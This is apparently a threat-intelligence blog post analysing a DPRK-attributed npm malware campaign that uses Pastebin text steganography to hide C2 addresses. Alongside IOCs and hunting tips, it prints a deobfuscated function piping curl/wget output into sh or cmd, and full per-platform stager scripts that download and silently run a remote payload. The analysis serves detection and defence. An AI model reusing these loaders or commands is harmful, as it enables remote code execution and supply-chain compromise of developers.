Novel DPRK stager using Pastebin and text steganography
quality 7/10 · good
0 net
Tags
This is a quick one as FAMOUS CHOLLIMA has been keeping me busy
this week by testing Google Drive as a stager and my longer write-up on
tracking their IP addresses through temporary mailboxes .
I just cannot help writing about this one as itâs really fun â it also
helps that having a sleeping baby strapped to the chest for three hours
makes for idle hands, and you know what they say about idle hands!
Summary
Seventeen recent npm malware packages use Pastebin and a custom text steganography
component as a dead-drop resolver
This signals further recent and rapid testing and development by FAMOUS CHOLLIMA
This post contains tactical IOCs and brief hunting guidelines
From 25-26 February 2026 my continuous scanner that supports my DPRK tracking on npm
identified seventeen new packages that contained novel loader logic.
â¹ï¸ Note
Update : The number of packages has since increased to 26, and Socket has given this
flavour of malware the moniker StegaBin .
Thanks for the shout-out Socket!
All seventeen packages contain an identical malicious JavaScript file at
vendor/scrypt-js/version.js .
sha256 da1775d0fbe99fbc35b6f0b4a3a3cb84da3ca1b2c1bbac0842317f6f804e30a4 view raw
sample â itâs highly obfuscated, my analysis is further below.
Date Package npm user
2026-02-26 10:35:55 daytonjs v1.11.20 ( download ) christopher.smith.hal47 (christopher.smith.hal47[@]gmail.com)
2026-02-26 10:33:00 corstoken v2.14.7 ( download ) christopher.smith.hj47 (christopher.smith.hj47[@]gmail.com)
2026-02-26 10:28:26 jsnwebapptoken v8.40.2 ( download ) christopher.smith.ye47 (christopher.smith.ye47[@]gmail.com)
2026-02-26 10:25:49 iosysredis v5.13.2 ( download ) christopher.smith471014 (christopher.smith471014[@]gmail.com)
2026-02-26 10:16:52 sequelization v6.40.2 ( download ) hello.mr.jr29 (hello.mr.jr29[@]gmail.com)
2026-02-26 10:09:45 undicy-lint v7.23.1 ( download ) patrick.sullivan1896 (patrick.sullivan1896[@]gmail.com)
2026-02-26 10:05:58 expressjs-lint v5.3.2 ( download ) veryanthony00 (veryanthony00[@]gmail.com)
2026-02-25 22:31:13 loadash-lint v4.17.24 ( download ) charles.cm.morgan (charles.cm.morgan[@]gmail.com)
2026-02-25 22:26:36 promanage v6.0.21 ( download ) andrew.ddn.walker (andrew.ddn.walker[@]gmail.com)
2026-02-25 22:21:37 vitetest-lint v4.1.21 ( download ) andrew.dea.walker00 (andrew.dea.walker00[@]gmail.com)
2026-02-25 22:13:14 prism-lint v7.4.2 ( download ) stefan.matic.topdev00 (stefan.matic.topdev00[@]gmail.com)
2026-02-25 22:07:50 fastify-lint v5.8.0 ( download ) andrew.dn.walker00 (andrew.dn.walker00[@]gmail.com)
2026-02-25 22:03:16 typoriem v0.4.17 ( download ) andrew.d.walker00 (andrew.d.walker00[@]gmail.com)
2026-02-25 21:51:56 argonist v0.41.0 ( download ) andrew.dean.walker00 (andrew.dean.walker00[@]gmail.com)
2026-02-25 21:46:19 uuindex v13.1.0 ( download ) andrewdeanwalker007 (andrewdeanwalker007[@]gmail.com)
2026-02-25 21:37:45 bcryptance v6.5.2 ( download ) needlesstosay (needlesstosay0o0o0[@]gmail.com)
2026-02-25 19:38:58 ether-lint v5.9.4 ( download ) maheshkya (whereisandrew2[@]gmail.com)
Analysis
These packages contain an install script: "node ./scripts/test/install.js" .
The presence of an install script overrides default npm installation behaviour
and this command will run upon package installation.
This initial install.js is just a step of misdirection and simply imports
and executes the malicious payload at vendor/scrypt-js/version.js .
version.js contains three hardcoded pastebin references (in the following order):
Pastebin link Last edit date Pastebin user Views View my mirror/backup
hxxps://pastebin[.]com/CJ5PrtNk Wednesday 11th of February 2026 03:47:40 PM CDT davidsouza23 353 CJ5PrtNk
hxxps://pastebin[.]com/0ec7i68M Wednesday 11th of February 2026 03:41:28 PM CDT Edgar04231 15 0ec7i68M
hxxps://pastebin[.]com/DjDCxcsT Wednesday 11th of February 2026 03:43:37 PM CDT Edgar04231 19 DjDCxcsT
There is a loop to fetch and decode these payloads, however if the paste is
formatted correctly (more on this below), the loop will break and no further URLs are processed.
Effectively the second two act as fallbacks, explaining the discrepancy between
âviewsâ in the table above.
ð¬ Comment
It is highly likely that a large portion of the âviewsâ of paste CJ5PrtNk represents
victims that have run this flavour of malware.
These pastes are ostensibly benign at first view, however there are minor
inexplicable typos in the text:
One of the pastes viewed on Pastebin. Looks benign to me!
After fetching the raw Pastebin content, the malware uses a custom decoder
to extract specific characters from the text into an array of C2 URLs.
As the original implementation is obfuscated, I asked Gemini
to rename variables, add type annotations, and comment on functionality.
The result is available to view on Typescript Play, where you can safely run it yourself to
see the decoded C2 addresses
as shown below:
Running the complex decoder on one of the Pastebin samples
All three pastes decode into the same payload array:
ext-checkdin[.]vercel[.]app
cleverstack-ext301[.]vercel[.]app
cleverstack-app998[.]vercel[.]app
brightlaunch-ext742[.]vercel[.]app
brightlaunch-app615[.]vercel[.]app
primevector-ext483[.]vercel[.]app
primevector-app920[.]vercel[.]app
zenithflow-ext156[.]vercel[.]app
zenithflow-app877[.]vercel[.]app
cloudharbor-ext664[.]vercel[.]app
cloudharbor-app239[.]vercel[.]app
sparkforge-ext518[.]vercel[.]app
sparkforge-app790[.]vercel[.]app
logicfield-ext432[.]vercel[.]app
logicfield-app681[.]vercel[.]app
atlasnode-ext957[.]vercel[.]app
atlasnode-app204[.]vercel[.]app
signalbase-ext369[.]vercel[.]app
signalbase-app845[.]vercel[.]app
neuraldock-ext126[.]vercel[.]app
neuraldock-app734[.]vercel[.]app
orbitstack-ext592[.]vercel[.]app
orbitstack-app318[.]vercel[.]app
fusionlayer-ext807[.]vercel[.]app
fusionlayer-app463[.]vercel[.]app
quantapath-ext275[.]vercel[.]app
quantapath-app914[.]vercel[.]app
visiondock-ext648[.]vercel[.]app
visiondock-app157[.]vercel[.]app
openmatrix-ext539[.]vercel[.]app
openmatrix-app882[.]vercel[.]app
Next, the malware visits each of the domains in the array and retrieves a platform-specific
payload to execute in the victimâs shell. This is similar to FAMOUS CHOLLIMAâs abuse of
VS Code Tasks documented in Open Source Malwareâs blog post ,
Below is a Gemini-assisted rewrite and annotation of the payload-retrieval logic
observed in this sample (thanks for the safety warnings Gemini!).
executeRemotePayload function is called checkUrl in the original obfuscated
content, if youâd like to cross-reference:
/**
* WARNING: This function is a malicious Remote Code Execution (RCE) trigger.
* It downloads and executes arbitrary code from a remote server based on the OS.
* * @param c2Host - The domain or IP of the Command & Control server.
*/
async function executeRemotePayload ( c2Host : string ) : Promise <{ url : string ; working : boolean } | void > {
try {
const platform = os. platform ();
let shellPath : string ;
let shellArgs : string [];
if (platform === "darwin" ) {
// macOS: Downloads from /api/m and pipes directly into bash
shellPath = "bash" ;
shellArgs = [ "-c" , `curl -s 'https://${ c2Host }/api/m' | sh` ];
}
else if (platform === "linux" ) {
// Linux: Downloads from /api/l via wget and pipes into bash
shellPath = "bash" ;
shellArgs = [ "-c" , `wget -qO- 'https://${ c2Host }/api/l' | sh` ];
}
else if (platform === "win32" ) {
// Windows: Downloads from /api/w via curl and pipes into cmd.exe
shellPath = "cmd.exe" ;
shellArgs = [ "/c" , `curl -s https://${ c2Host }/api/w | cmd` ];
}
else {
// Fallback for unsupported OS (e.g., FreeBSD, AIX)
return {
url: c2Host,
working: false
};
}
/**
* Executes the command silently.
* stdio: "ignore" ensures no output appears in the console,
* making the execution invisible to the user.
*/
spawn (shellPath, shellArgs, {
stdio: "ignore" ,
detached: true // Often added in malware to keep the process alive if the parent dies
});
} catch (error) {
// Silent fail to avoid alerting the user if there's a network/permission error
}
}
â¹ï¸ Note
Only the first domain (ext-checkdin.vercel[.]app) actually returns a status 200.
All subsequent domains return a 404 The deployment could not be found on Vercel .
That said, this long list acts as a fallback. If ext-checkdin.vercel[.]app gets taken down, FAMOUS
CHOLLIMA can simply stand up a deployment at the other sites and the infection
chain remains working.
Additionally, if the user-agent is not curl , the deployment at
ext-checkdin.vercel[.]app responds with a status 200 but with the raw content
Permanently suspended (response hash accf04ad3228a22532d2f5802a5b0c379c3616564c4766fc1f1ca20dac8dba07 ).
Next stage
This post is getting long, so Iâll just paste the next-stagers for each platform
(as per the path URI at ext-checkdin.vercel[.]app).
Follow-on research is left to the reader. Iâm tired!
path: /api/l (Linux)
======
response hash: 869c327b8dc757fa126cd281bc4a14d809c50e9a792954442c55cea5b46912ec
======
raw payload:
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/.config"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://ext-checkdin.vercel.app/api/tokenl?st=eXVCQi90UlVBMkF0MkpOd09jY1hJdz09OlAvcFZYajB5dG1QbUczTm16ZFVoQUhIcFVjL3ZOUFYxQlBRZEw1emp5K2gvTnE1VmFEamFQaG4zVEdwNDJSRVdoRm1zTEVXbitjSlBMWnd2blp1ZWFJcWhjNnZicWMwUVNGUTZWUndrb0pnWVRmbnRJcVJrcXM5NUtQRllGNCtNeThZZEQxQjY1T3M3a1hwbXhpMWdtRjhnclZkOXhwT0J6d0RHbjdrSXY3UT0"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
path: /api/m (MacOS)
======
response hash: bce0da6547ae74f97e2bb61672a3e159b837acf01f7c68a813ea75c3835ff303
======
raw payload:
#!/bin/bash
set -e
echo "Authenticated"
mkdir -p "$HOME/Library"
clear
curl -s -L -o "$HOME/Library/tokenlinux.sh" "http://ext-checkdin.vercel.app/api/tokenl?&st=Z09RcS80UmR0VzdpTUh0Q055Y3ZIQT09OnpadVJXRElOV0o0TkFxbDRneFAwRHVzbnU5SVJLUURTcjUvcnBiY0o3MG42L1pCM3lmdjFVMk0zdkhjdGg1QkV4bzZJMkNmQStCejY3bEd4b1NRQnZEQkE2RXhVL1FkZjJDWUdzNGJNVVQ4UVZVc0JMZklTa1pzaFR0T0pSVnVSVXFHRnR2WGNuMUlVV2RtdlpRcXlyN2JWWTBwYzFCTEpkRVJnSFdCdW5Hdz0"
clear
chmod +x "$HOME/Library/tokenlinux.sh"
clear
nohup bash "$HOME/Library/tokenlinux.sh" > /dev/null 2>&1 &
clear
path: /api/w (Windows)
======
response hash: e361d2859ba2eb2540bf6fb12db0b9857ef610bb9920830921e986d4b9109e89
======
raw payload:
::@echo off
if exist "%APPDATA%\parse" del "%APPDATA%\parse"
if exist "%APPDATA%\token.cmd" del "%APPDATA%\token.cmd"
if exist "%APPDATA%\.sv" del "%APPDATA%\.sv"
curl -s -L -o "%APPDATA%//parse" "http://ext-checkdin.vercel.app/api/tokenw?st=eTExbGRFdENlUlVWbTRyS2ZlMXFuQT09OmpJb0RRWktvV2wzaVRSNWZ4RzVqV1AwM0w2L3ZiZ1ltS1MvZ2E4aGQ1dFlYQmxjeHd3VmdSMkRVRTExL21VZS94aGl1MFBHWDRqSDdicTZMRHYrSWFaRDh6N3Zmcis4VXFybzRXNzU4blVYalNJUnRQVzEyZUJDZlJQdCtYajVBOUxXbnVLaVJuNnlNWXd3bDMvTnlRQWhDVEZDSDhreXdvdEpuVG9TVkpOZz0"
ren "%APPDATA%\parse" token.cmd
"%APPDATA%\token.cmd"
::cls
Hunting guidelines
Iâll keep this short and sweet:
Node.js process spawning curl or wget â likely noisy but worth a look
Node.js process DNS lookup to pastebin.com
wget or curl user-agent GETing a Vercel deployment
Assessment
With two distinct novel loader techniques observed in a single week, this marks
an unusually rapid pace of development by FAMOUS CHOLLIMA. It is likely
they will continue to iterate and test various infection methodologies simultaneously
in the short term.